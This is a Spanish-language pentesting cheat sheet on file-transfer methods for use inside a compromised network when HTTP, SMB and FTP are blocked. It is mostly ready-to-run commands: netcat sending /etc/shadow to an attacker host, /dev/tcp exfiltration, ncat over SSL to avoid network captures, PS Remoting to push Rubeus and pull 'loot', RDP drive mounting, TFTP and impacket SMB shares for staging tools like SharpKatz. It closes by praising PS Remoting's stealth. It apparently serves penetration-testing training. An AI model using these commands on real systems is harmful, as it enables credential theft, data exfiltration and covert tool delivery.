metodos-miscelaneos-de-transferencia-de-archivos
Métodos Misceláneos de Transferencia de Archivos
Section titled “Métodos Misceláneos de Transferencia de Archivos”Métodos alternativos para cuando los canales HTTP, SMB y FTP están bloqueados o monitorizados.
Netcat y Ncat
Section titled “Netcat y Ncat”Netcat es la “navaja suiza” de las redes. Puede transferir archivos sin necesidad de ningún servidor adicional.
Netcat — Descarga en el objetivo
Section titled “Netcat — Descarga en el objetivo”# En el atacante — enviar el archivo (el atacante conecta al objetivo)nc -q 0 192.168.1.50 8000 < SharpKatz.exe
# En el objetivo — recibir escuchandonc -lvnp 8000 > SharpKatz.exeNetcat — Subida desde el objetivo
Section titled “Netcat — Subida desde el objetivo”# En el atacante — escuchar y recibirnc -lvnp 8000 > loot.zip
# En el objetivo — enviarnc -q 0 192.168.1.100 8000 < /etc/shadowNcat (versión mejorada incluida en Nmap)
Section titled “Ncat (versión mejorada incluida en Nmap)”Ncat soporta cifrado SSL, lo que evita que el contenido sea visible en capturas de red.
# En el atacante — recibir con SSLncat -lvnp 8000 --recv-only > SharpKatz.exe
# En el objetivo — enviar con SSLncat --send-only 192.168.1.100 8000 --ssl < SharpKatz.exeCuando Netcat no está disponible — /dev/tcp
Section titled “Cuando Netcat no está disponible — /dev/tcp”# En el atacante — escuchar con ncnc -lvnp 8000 > archivo.exe
# En el objetivo — enviar con bashcat archivo.exe > /dev/tcp/192.168.1.100/8000PowerShell Session (PS Remoting)
Section titled “PowerShell Session (PS Remoting)”En entornos Windows donde WinRM está activo y SMB/HTTP están bloqueados, se puede usar una sesión PowerShell remota para transferir archivos.
# En el atacante — crear sesión remota (requiere credenciales o kerberos)$session = New-PSSession -ComputerName 192.168.1.50 -Credential (Get-Credential)
# Copiar archivo al sistema remotoCopy-Item -Path C:\Herramientas\Rubeus.exe -ToSession $session -Destination "C:\Users\Public\"
# Copiar archivo desde el sistema remotoCopy-Item -Path C:\Users\Public\loot.txt -FromSession $session -Destination C:\loot.txtSi hay acceso RDP al objetivo, se puede montar la unidad local del atacante para copiar archivos directamente.
# Desde Linux — conectar con xfreerdp montando el directorio localxfreerdp /v:192.168.1.50 /u:usuario /p:contraseña /drive:linux,/tmpUna vez dentro de la sesión RDP, el directorio local aparece en “Este equipo” como \\tsclient\linux y se puede copiar/pegar directamente.
TFTP (Trivial FTP)
Section titled “TFTP (Trivial FTP)”TFTP opera sobre UDP/69 y no requiere autenticación. Útil en dispositivos de red y sistemas legacy que no tienen FTP ni HTTP disponibles.
# En el atacante — instalar y configurar servidor TFTPsudo apt install atftpdmkdir /tftp && chmod 777 /tftpsudo atftpd --daemon --port 69 /tftp
# En Windows — descargar con cliente TFTP nativotftp -i 192.168.1.100 get nc.exeTFTP no está disponible en Windows 7+ por defecto. Puede habilitarse desde “Activar o desactivar características de Windows” o con
dism /online /Enable-Feature /FeatureName:TFTP.
Impacket SMB Server
Section titled “Impacket SMB Server”Útil cuando se quiere un share SMB completamente controlado desde Linux.
# Share sin autenticaciónsudo impacket-smbserver share -smb2support /tmp/archivos
# Share con usuario/contraseña (para Windows modernos)sudo impacket-smbserver share -smb2support /tmp/archivos -user pentest -password pentest123
# En Windows — copiar desde el sharecopy \\192.168.1.100\share\nc.exenet use n: \\192.168.1.100\share /user:pentest pentest123copy n:\Rubeus.exeReferencia rápida
Section titled “Referencia rápida”| Método | Protocolo | Windows | Linux | Cifrado |
|---|---|---|---|---|
| Netcat | TCP | Sí | Sí | No |
| Ncat | TCP+SSL | Sí | Sí | Sí |
| PS Remoting | WinRM (5985) | Sí | No | Sí |
| RDP + Drive | RDP (3389) | Sí | Sí (xfreerdp) | Sí |
| TFTP | UDP 69 | Sí (manual) | Sí | No |
| Impacket SMB | TCP 445 | Sí | Sí (servidor) | No |
PS Remoting es uno de los métodos más sigilosos en entornos Windows porque usa WinRM que es tráfico de administración legítimo, cifrado y habitualmente permitido entre sistemas del dominio.